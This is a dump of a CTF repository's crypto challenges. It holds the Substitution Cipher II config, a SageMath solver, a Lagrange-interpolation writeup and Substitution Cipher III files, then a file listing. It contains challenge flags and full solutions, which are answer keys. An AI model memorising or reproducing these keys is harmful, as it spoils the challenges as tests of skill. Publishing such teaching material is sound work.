enc = encrypt(FLAG, f)
print(enc)


================================================
FILE: crypto/substitution-cipher-ii/challenge.yml
================================================
version: "0.1"
id: substitution-cipher-ii
name: Substitution Cipher II
category: crypto
description: |
  That's an interesting looking substitution cipher...

  Author: joseph#8210

tags:
  - easy

files:
  - ./challenge/substitution-cipher-ii.sage
  - ./challenge/output.txt

flags:
  - DUCTF{go0d_0l'_l4gr4ng3}


================================================
FILE: crypto/substitution-cipher-ii/solve/solve.sage
================================================
from string import ascii_lowercase, digits

CHARSET = 'DUCTF{}_!?\'' + ascii_lowercase + digits
n = len(CHARSET)

def to_num(c):
    return CHARSET.index(c)

def to_chr(x):
    return CHARSET[x]

enc = open('../challenge/output.txt', 'r').read().strip()

P.<x> = PolynomialRing(GF(n))

known_pt = 'DUCTF{}'
known_ct = enc[:6] + enc[-1]
pairs = [(to_num(p), to_num(c)) for p,c in zip(known_pt, known_ct)]
f = P.lagrange_polynomial(pairs)

# get the possible plaintext character for each ciphertext character
possible_chars = []
for c in enc:
    possible = (f - to_num(c)).roots()
    possible = [to_chr(p[0]) for p in possible]
    possible_chars.append(possible)

# get all combinations of possible plaintext characters
possible_flags = []
for p in cartesian_product(possible_chars):
    possible_flags.append(''.join(p))

print('Possible Flags:')
print('\n'.join(possible_flags))


================================================
FILE: crypto/substitution-cipher-ii/solve/test.sh
================================================
#!/bin/sh

TMPDIR=`mktemp -d`

cp -r /work/challenge /work/solve "$TMPDIR"
cd "$TMPDIR/solve"
sage solve.sage


================================================
FILE: crypto/substitution-cipher-ii/solve/writeup.md
================================================
This challenge is a sequel to "Substitution Cipher I". We have a similar situation as with the first challenge, except instead of a function over the integers, we work over a finite field `GF(n)`, which for the purposes of this challenge, we can think of as basically a subset of the integers where addition and multiplication are done modulo `n`. Another difference is that the polynomial `f` is not given, and it is of degree 6. Each coefficient of `f` can be any integer in the range `0, 1, ..., n`, and since there are 7 coefficients, there can be up to `n^7` different possibilities for `f`. In the challenge, `n = 47`, so searching `n^7` possibilities would be unreasonable.

Instead, we can use the fact that a polynomial of degree `d` is uniquely determined by `d+1` points that lie on it. We know that the flag is of the form `DUCTF{...}` so we have exactly 7 known points on the curve! We can use a technique known as [Lagrange interpolation](https://en.wikipedia.org/wiki/Lagrange_polynomial) to recover the polynomial (SageMath has a method for this too!). We find that the polynomial is

```
f(x) = 41x^6 + 15x^5 + 40x^4 + 9x^3 + 28x^2 + 27x + 1
```

Now we can use a similar idea to the previous challenge and find possible plaintext characters for each ciphertext character `c` by finding the roots of `f(x) - c`. However, in this case, there may be many solutions in the range `0, 1, ..., n`. It turns out that the total number of possible flags is not that high, so we can look through all of them and choose the one that seems most fitting (or just try submitting all of them). The possible flags that we find (excluding the ones that don't fit flag format) are:

```
DUCTF{go0d_0l'_l4gr4pg8}
DUCTF{go0d_0l'_l4gr4pg3}
DUCTF{go0d_0l'_l4gr4ng8}
DUCTF{go0d_0l'_l4gr4ng3}
DUCTF{go0d_0l'_l4gr4fg8}
DUCTF{go0d_0l'_l4gr4fg3}
```

The correct flag is `DUCTF{go0d_0l'_l4gr4ng3}`.

```py
from string import ascii_lowercase, digits

CHARSET = 'DUCTF{}_!?\'' + ascii_lowercase + digits
n = len(CHARSET)

def to_num(c):
    return CHARSET.index(c)

def to_chr(x):
    return CHARSET[x]

enc = open('../challenge/output.txt', 'r').read().strip()

P.<x> = PolynomialRing(GF(n))

known_pt = 'DUCTF{}'
known_ct = enc[:6] + enc[-1]
pairs = [(to_num(p), to_num(c)) for p,c in zip(known_pt, known_ct)]
f = P.lagrange_polynomial(pairs)

# get the possible plaintext character for each ciphertext character
possible_chars = []
for c in enc:
    possible = (f - to_num(c)).roots()
    possible = [to_chr(p[0]) for p in possible]
    possible_chars.append(possible)

# get all combinations of possible plaintext characters
possible_flags = []
for p in cartesian_product(possible_chars):
    possible_flags.append(''.join(p))

print('Possible Flags:')
print('\n'.join(possible_flags))
```


================================================
FILE: crypto/substitution-cipher-iii/README.md
================================================
# Substitution Cipher III

**Category:** crypto

**Difficulty:** hard

**Author:** joseph#8210

Wait a **MI**nute, that's not a substitution cipher!

**Attached files:**
- ./challenge/substitution-cipher-iii.sage (sha256: 31cd375e3b8b141346f014b4eae47ad18455e111b1bcb93f20f189ea102331aa)
- ./challenge/output.txt (sha256: d760f30838e844ebceb7d4329c087764858002e81860708b045d9ef68a6443ca)


================================================
FILE: crypto/substitution-cipher-iii/challenge/flag.txt
================================================
DUCTF{MQ_1s_fun_a5e39cf21a}


================================================
FILE: crypto/substitution-cipher-iii/challenge/output.txt
================================================
(x0*x1 + x0*x6 + x0*x7 + x0*x8 + x0*x11 + x0*x12 + x0*x15 + x0*x17 + x0*x18 + x0*x19 + x0*x24 + x0*x27 + x0*x28 + x0*x34 + x0*x36 + x0*x37 + x0*x38 + x0*x40 + x0*x41 + x0*x42 + x0*x43 + x0*x45 + x0*x46 + x0*x48 + x0*x50 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x60 + x0*x62 + x0*x64 + x0*x69 + x0*x71 + x0*x74 + x0*x75 + x0*x78 + x1*x4 + x1*x6 + x1*x8 + x1*x11 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x18 + x1*x19 + x1*x20 + x1*x22 + x1*x24 + x1*x27 + x1*x29 + x1*x30 + x1*x34 + x1*x35 + x1*x37 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x49 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x58 + x1*x60 + x1*x63 + x1*x65 + x1*x66 + x1*x71 + x1*x72 + x1*x76 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x24 + x2*x25 + x2*x27 + x2*x33 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x43 + x2*x44 + x2*x46 + x2*x49 + x2*x50 + x2*x52 + x2*x53 + x2*x54 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x65 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x77 + x2*x79 + x2 + x3*x7 + x3*x9 + x3*x10 + x3*x11 + x3*x13 + x3*x14 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x31 + x3*x34 + x3*x35 + x3*x38 + x3*x40 + x3*x41 + x3*x42 + x3*x43 + x3*x46 + x3*x48 + x3*x50 + x3*x52 + x3*x58 + x3*x62 + x3*x65 + x3*x69 + x3*x70 + x3*x71 + x3*x73 + x3*x75 + x3*x76 + x3 + x4*x5 + x4*x6 + x4*x9 + x4*x12 + x4*x17 + x4*x18 + x4*x21 + x4*x22 + x4*x24 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x31 + x4*x32 + x4*x34 + x4*x39 + x4*x44 + x4*x46 + x4*x48 + x4*x50 + x4*x51 + x4*x53 + x4*x55 + x4*x57 + x4*x64 + x4*x65 + x4*x67 + x4*x68 + x4*x69 + x4*x74 + x4*x75 + x4*x79 + x4 + x5*x6 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x16 + x5*x19 + x5*x20 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x30 + x5*x32 + x5*x34 + x5*x35 + x5*x37 + x5*x39 + x5*x40 + x5*x44 + x5*x46 + x5*x56 + x5*x60 + x5*x61 + x5*x63 + x5*x64 + x5*x65 + x5*x67 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x78 + x6*x10 + x6*x12 + x6*x13 + x6*x17 + x6*x19 + x6*x23 + x6*x27 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x34 + x6*x38 + x6*x39 + x6*x42 + x6*x44 + x6*x47 + x6*x49 + x6*x50 + x6*x55 + x6*x57 + x6*x60 + x6*x63 + x6*x64 + x6*x66 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6 + x7*x12 + x7*x14 + x7*x18 + x7*x20 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x29 + x7*x33 + x7*x34 + x7*x37 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x43 + x7*x44 + x7*x48 + x7*x49 + x7*x50 + x7*x52 + x7*x53 + x7*x55 + x7*x59 + x7*x61 + x7*x63 + x7*x64 + x7*x66 + x7*x67 + x7*x69 + x7*x70 + x7*x72 + x7*x74 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x16 + x8*x19 + x8*x21 + x8*x23 + x8*x25 + x8*x32 + x8*x33 + x8*x38 + x8*x40 + x8*x41 + x8*x45 + x8*x49 + x8*x57 + x8*x58 + x8*x63 + x8*x69 + x8*x72 + x8*x74 + x8*x75 + x8*x76 + x9*x10 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x23 + x9*x24 + x9*x27 + x9*x28 + x9*x30 + x9*x32 + x9*x37 + x9*x38 + x9*x39 + x9*x42 + x9*x45 + x9*x46 + x9*x48 + x9*x52 + x9*x53 + x9*x56 + x9*x58 + x9*x59 + x9*x60 + x9*x61 + x9*x67 + x9*x68 + x9*x70 + x9*x74 + x9*x75 + x9*x76 + x9*x77 + x10*x11 + x10*x13 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x19 + x10*x20 + x10*x24 + x10*x25 + x10*x27 + x10*x30 + x10*x34 + x10*x35 + x10*x41 + x10*x42 + x10*x44 + x10*x45 + x10*x46 + x10*x48 + x10*x53 + x10*x54 + x10*x58 + x10*x67 + x10*x70 + x10*x72 + x10*x77 + x11*x12 + x11*x15 + x11*x16 + x11*x17 + x11*x21 + x11*x22 + x11*x25 + x11*x27 + x11*x32 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x46 + x11*x47 + x11*x48 + x11*x52 + x11*x53 + x11*x57 + x11*x58 + x11*x59 + x11*x61 + x11*x64 + x11*x65 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x79 + x12*x13 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x25 + x12*x27 + x12*x31 + x12*x33 + x12*x34 + x12*x40 + x12*x41 + x12*x43 + x12*x47 + x12*x48 + x12*x49 + x12*x50 + x12*x53 + x12*x55 + x12*x56 + x12*x57 + x12*x61 + x12*x63 + x12*x66 + x12*x68 + x12*x70 + x12*x72 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x17 + x13*x18 + x13*x24 + x13*x28 + x13*x29 + x13*x30 + x13*x36 + x13*x37 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x52 + x13*x54 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x69 + x13*x70 + x13*x71 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x78 + x14*x17 + x14*x19 + x14*x23 + x14*x24 + x14*x27 + x14*x30 + x14*x32 + x14*x33 + x14*x34 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x42 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x51 + x14*x52 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x64 + x14*x65 + x14*x67 + x14*x69 + x14*x71 + x14*x73 + x14*x75 + x14*x79 + x14 + x15*x16 + x15*x19 + x15*x20 + x15*x21 + x15*x24 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x31 + x15*x33 + x15*x34 + x15*x35 + x15*x44 + x15*x47 + x15*x48 + x15*x49 + x15*x51 + x15*x52 + x15*x53 + x15*x55 + x15*x56 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x63 + x15*x66 + x15*x73 + x15*x75 + x15*x76 + x15*x77 + x15 + x16*x17 + x16*x19 + x16*x20 + x16*x22 + x16*x23 + x16*x24 + x16*x25 + x16*x27 + x16*x28 + x16*x37 + x16*x38 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x46 + x16*x48 + x16*x49 + x16*x50 + x16*x52 + x16*x53 + x16*x55 + x16*x57 + x16*x58 + x16*x59 + x16*x61 + x16*x63 + x16*x65 + x16*x66 + x16*x67 + x16*x69 + x16*x70 + x16*x72 + x16*x74 + x16*x79 + x17*x22 + x17*x23 + x17*x28 + x17*x29 + x17*x31 + x17*x32 + x17*x35 + x17*x36 + x17*x39 + x17*x41 + x17*x42 + x17*x44 + x17*x45 + x17*x47 + x17*x49 + x17*x51 + x17*x54 + x17*x58 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x70 + x17*x71 + x17*x74 + x17*x75 + x17*x77 + x17 + x18*x22 + x18*x23 + x18*x24 + x18*x26 + x18*x28 + x18*x31 + x18*x33 + x18*x34 + x18*x36 + x18*x40 + x18*x42 + x18*x45 + x18*x46 + x18*x48 + x18*x50 + x18*x52 + x18*x54 + x18*x55 + x18*x63 + x18*x64 + x18*x65 + x18*x67 + x18*x68 + x18*x72 + x18*x73 + x18*x76 + x19*x21 + x19*x23 + x19*x25 + x19*x26 + x19*x27 + x19*x28 + x19*x29 + x19*x32 + x19*x33 + x19*x35 + x19*x39 + x19*x45 + x19*x48 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x56 + x19*x57 + x19*x62 + x19*x64 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x19 + x20*x22 + x20*x24 + x20*x27 + x20*x28 + x20*x31 + x20*x35 + x20*x36 + x20*x40 + x20*x41 + x20*x47 + x20*x48 + x20*x49 + x20*x50 + x20*x52 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x58 + x20*x59 + x20*x61 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x70 + x20*x71 + x20*x73 + x20*x77 + x20*x79 + x21*x22 + x21*x24 + x21*x25 + x21*x27 + x21*x28 + x21*x31 + x21*x35 + x21*x38 + x21*x39 + x21*x40 + x21*x43 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x49 + x21*x52 + x21*x53 + x21*x55 + x21*x56 + x21*x57 + x21*x59 + x21*x60 + x21*x62 + x21*x64 + x21*x65 + x21*x70 + x21*x77 + x21*x78 + x21 + x22*x24 + x22*x26 + x22*x27 + x22*x32 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x46 + x22*x47 + x22*x49 + x22*x51 + x22*x52 + x22*x53 + x22*x54 + x22*x55 + x22*x57 + x22*x59 + x22*x60 + x22*x62 + x22*x64 + x22*x65 + x22*x67 + x22*x69 + x22*x75 + x22*x77 + x23*x24 + x23*x26 + x23*x28 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x35 + x23*x36 + x23*x37 + x23*x38 + x23*x39 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x49 + x23*x50 + x23*x51 + x23*x54 + x23*x55 + x23*x56 + x23*x58 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x73 + x23*x76 + x23*x77 + x24*x25 + x24*x26 + x24*x28 + x24*x29 + x24*x30 + x24*x32 + x24*x35 + x24*x36 + x24*x38 + x24*x42 + x24*x44 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x56 + x24*x59 + x24*x60 + x24*x61 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x68 + x24*x73 + x24*x74 + x24*x76 + x24 + x25*x27 + x25*x28 + x25*x31 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x57 + x25*x58 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x69 + x25*x70 + x25*x71 + x25*x72 + x25*x73 + x25*x74 + x25*x76 + x25*x78 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x30 + x26*x34 + x26*x35 + x26*x41 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x55 + x26*x56 + x26*x61 + x26*x62 + x26*x63 + x26*x64 + x26*x67 + x26*x70 + x26*x73 + x26*x74 + x26*x75 + x26*x77 + x26*x79 + x26 + x27*x28 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x44 + x27*x48 + x27*x50 + x27*x51 + x27*x54 + x27*x55 + x27*x59 + x27*x61 + x27*x62 + x27*x64 + x27*x65 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x76 + x27*x77 + x27*x79 + x28*x29 + x28*x30 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x39 + x28*x41 + x28*x43 + x28*x45 + x28*x49 + x28*x50 + x28*x52 + x28*x54 + x28*x58 + x28*x60 + x28*x62 + x28*x63 + x28*x64 + x28*x66 + x28*x67 + x28*x69 + x28*x70 + x28*x71 + x28*x73 + x28*x74 + x28*x75 + x29*x31 + x29*x33 + x29*x35 + x29*x37 + x29*x38 + x29*x40 + x29*x42 + x29*x46 + x29*x48 + x29*x49 + x29*x51 + x29*x54 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x65 + x29*x67 + x29*x69 + x29*x73 + x29*x75 + x29*x77 + x29*x78 + x29*x79 + x30*x32 + x30*x35 + x30*x39 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x47 + x30*x49 + x30*x52 + x30*x54 + x30*x60 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x69 + x30*x70 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x76 + x30*x77 + x30 + x31*x33 + x31*x36 + x31*x38 + x31*x40 + x31*x46 + x31*x47 + x31*x51 + x31*x53 + x31*x54 + x31*x56 + x31*x57 + x31*x58 + x31*x62 + x31*x65 + x31*x66 + x31*x70 + x31*x71 + x31*x74 + x31*x75 + x31*x79 + x32*x33 + x32*x34 + x32*x35 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x45 + x32*x48 + x32*x49 + x32*x51 + x32*x55 + x32*x56 + x32*x61 + x32*x63 + x32*x64 + x32*x65 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x74 + x32*x77 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x40 + x33*x41 + x33*x44 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x53 + x33*x54 + x33*x55 + x33*x56 + x33*x57 + x33*x59 + x33*x61 + x33*x62 + x33*x64 + x33*x67 + x33*x70 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x78 + x33 + x34*x35 + x34*x36 + x34*x37 + x34*x41 + x34*x42 + x34*x43 + x34*x45 + x34*x49 + x34*x50 + x34*x57 + x34*x58 + x34*x65 + x34*x67 + x34*x68 + x34*x74 + x34*x75 + x34*x77 + x34 + x35*x39 + x35*x45 + x35*x46 + x35*x47 + x35*x48 + x35*x49 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x59 + x35*x60 + x35*x61 + x35*x63 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x71 + x35*x74 + x35*x79 + x36*x37 + x36*x40 + x36*x41 + x36*x43 + x36*x48 + x36*x49 + x36*x53 + x36*x54 + x36*x56 + x36*x57 + x36*x58 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x67 + x36*x70 + x36*x72 + x36*x73 + x36*x74 + x36*x75 + x36*x77 + x36*x78 + x37*x38 + x37*x39 + x37*x40 + x37*x41 + x37*x43 + x37*x46 + x37*x48 + x37*x50 + x37*x54 + x37*x56 + x37*x57 + x37*x60 + x37*x63 + x37*x64 + x37*x65 + x37*x70 + x37*x73 + x37*x74 + x37*x75 + x37 + x38*x41 + x38*x42 + x38*x44 + x38*x46 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x61 + x38*x62 + x38*x65 + x38*x68 + x38*x71 + x38*x74 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x42 + x39*x45 + x39*x48 + x39*x50 + x39*x51 + x39*x57 + x39*x58 + x39*x59 + x39*x60 + x39*x62 + x39*x63 + x39*x65 + x39*x66 + x39*x67 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x77 + x39*x78 + x39*x79 + x40*x42 + x40*x46 + x40*x48 + x40*x49 + x40*x51 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x61 + x40*x63 + x40*x64 + x40*x65 + x40*x67 + x40*x69 + x40*x72 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x41*x43 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x49 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x62 + x41*x65 + x41*x66 + x41*x68 + x41*x70 + x41*x71 + x41*x73 + x41*x74 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x45 + x42*x47 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x54 + x42*x56 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x66 + x42*x70 + x42*x71 + x42*x72 + x42*x77 + x42*x78 + x42*x79 + x43*x46 + x43*x47 + x43*x50 + x43*x55 + x43*x56 + x43*x57 + x43*x59 + x43*x60 + x43*x63 + x43*x64 + x43*x69 + x43*x72 + x43*x74 + x43*x75 + x43*x78 + x43 + x44*x47 + x44*x52 + x44*x57 + x44*x59 + x44*x60 + x44*x61 + x44*x62 + x44*x63 + x44*x64 + x44*x66 + x44*x69 + x44*x72 + x44*x74 + x44*x75 + x44*x77 + x44*x79 + x45*x46 + x45*x49 + x45*x51 + x45*x52 + x45*x57 + x45*x59 + x45*x61 + x45*x62 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x73 + x45*x74 + x45*x76 + x45*x77 + x46*x47 + x46*x50 + x46*x52 + x46*x53 + x46*x56 + x46*x57 + x46*x59 + x46*x60 + x46*x64 + x46*x66 + x46*x67 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x73 + x46*x76 + x46*x78 + x46 + x47*x48 + x47*x50 + x47*x51 + x47*x54 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x65 + x47*x68 + x47*x73 + x47*x76 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x53 + x48*x62 + x48*x70 + x48*x71 + x48*x73 + x48*x78 + x48*x79 + x49*x50 + x49*x51 + x49*x52 + x49*x54 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x65 + x49*x66 + x49*x69 + x49*x70 + x49*x71 + x49*x73 + x49*x74 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x50*x51 + x50*x52 + x50*x54 + x50*x56 + x50*x57 + x50*x61 + x50*x63 + x50*x64 + x50*x67 + x50*x68 + x50*x70 + x50*x72 + x50*x74 + x50*x76 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x58 + x51*x59 + x51*x61 + x51*x62 + x51*x63 + x51*x66 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x55 + x52*x58 + x52*x62 + x52*x63 + x52*x70 + x52*x73 + x52*x75 + x52*x77 + x52*x78 + x52 + x53*x55 + x53*x56 + x53*x65 + x53*x73 + x53*x74 + x53*x75 + x53*x76 + x53*x79 + x53 + x54*x55 + x54*x59 + x54*x61 + x54*x63 + x54*x66 + x54*x69 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x55*x57 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x66 + x55*x69 + x55*x70 + x55*x71 + x55*x73 + x55*x74 + x55*x75 + x55*x76 
Download .txt
gitextract_v5_tziju/

├── README.md
├── cloud/
│   ├── bad-bucket/
│   │   ├── .gitignore
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── solution.md
│   │   ├── src/
│   │   │   ├── buckets/
│   │   │   │   └── .notaflag
│   │   │   └── index.html
│   │   └── terraform/
│   │       ├── terraform.tf
│   │       ├── terraform.tfvars
│   │       └── variables.tf
│   ├── lost-n-found/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── solution.md
│   │   └── src/
│   │       ├── enum_script/
│   │       │   └── gcp_enum.sh
│   │       ├── flag.txt
│   │       ├── legacy.json
│   │       └── setup.sh
│   ├── notasbadbucket/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── solution.md
│   │   ├── src/
│   │   │   ├── index.html
│   │   │   └── pics/
│   │   │       └── flag.txt
│   │   └── terraform/
│   │       ├── .gitignore
│   │       ├── terraform.tf
│   │       ├── terraform.tfvars
│   │       └── variables.tf
│   └── whale_blog/
│       ├── README.md
│       ├── challenge.yml
│       ├── setup.sh
│       ├── solution.md
│       └── src/
│           ├── Dockerfile
│           ├── config.yaml
│           ├── permission.yaml
│           └── web/
│               ├── index.php
│               ├── page1
│               └── page2
├── crypto/
│   ├── 1337crypt-v2/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── 1337crypt-v2.sage
│   │   │   ├── flag.txt
│   │   │   └── output.txt
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   ├── aes-ecb/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── aes-ecb.py
│   │   │   ├── flag.txt
│   │   │   └── key.txt
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── requirements.txt
│   │       ├── solution.py
│   │       └── writeup.md
│   ├── otwhat-1/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── app/
│   │   │       ├── main.py
│   │   │       └── rsa.key
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── otwhat-2/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── app/
│   │   │   │   ├── main.py
│   │   │   │   ├── secp256r1.key
│   │   │   │   └── update.log
│   │   │   └── generate_audit.py
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── power-sign/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   └── power-sign.sage
│   │   ├── challenge.yml
│   │   ├── docker-compose.yml
│   │   └── solve/
│   │       ├── solv.sage
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   ├── secuchat/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── solve/
│   │   │   ├── attack.py
│   │   │   └── writeup.md
│   │   └── src/
│   │       ├── flag.txt
│   │       └── generate.py
│   ├── substitution-cipher-i/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── output.txt
│   │   │   └── substitution-cipher-i.sage
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── test.sh
│   │       └── writeup.md
│   ├── substitution-cipher-ii/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── output.txt
│   │   │   └── substitution-cipher-ii.sage
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── test.sh
│   │       └── writeup.md
│   ├── substitution-cipher-iii/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── output.txt
│   │   │   └── substitution-cipher-iii.sage
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── test.sh
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   ├── treasure/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── secret.py
│   │   │   └── treasure.py
│   │   ├── challenge.yml
│   │   ├── docker-compose.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   └── yadlp/
│       ├── README.md
│       ├── challenge/
│       │   ├── flag.txt
│       │   ├── output.txt
│       │   └── yadlp.sage
│       ├── challenge.yml
│       └── solve/
│           ├── solve.sage
│           ├── writeup.ipynb
│           └── writeup.md
├── forensics/
│   ├── Thats_Not_My_Name/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── writeup.md
│   ├── The_File_Is_Lava/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── WouldYouLikeToPlayAGame/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── flag.txt
│   │   └── writeup.md
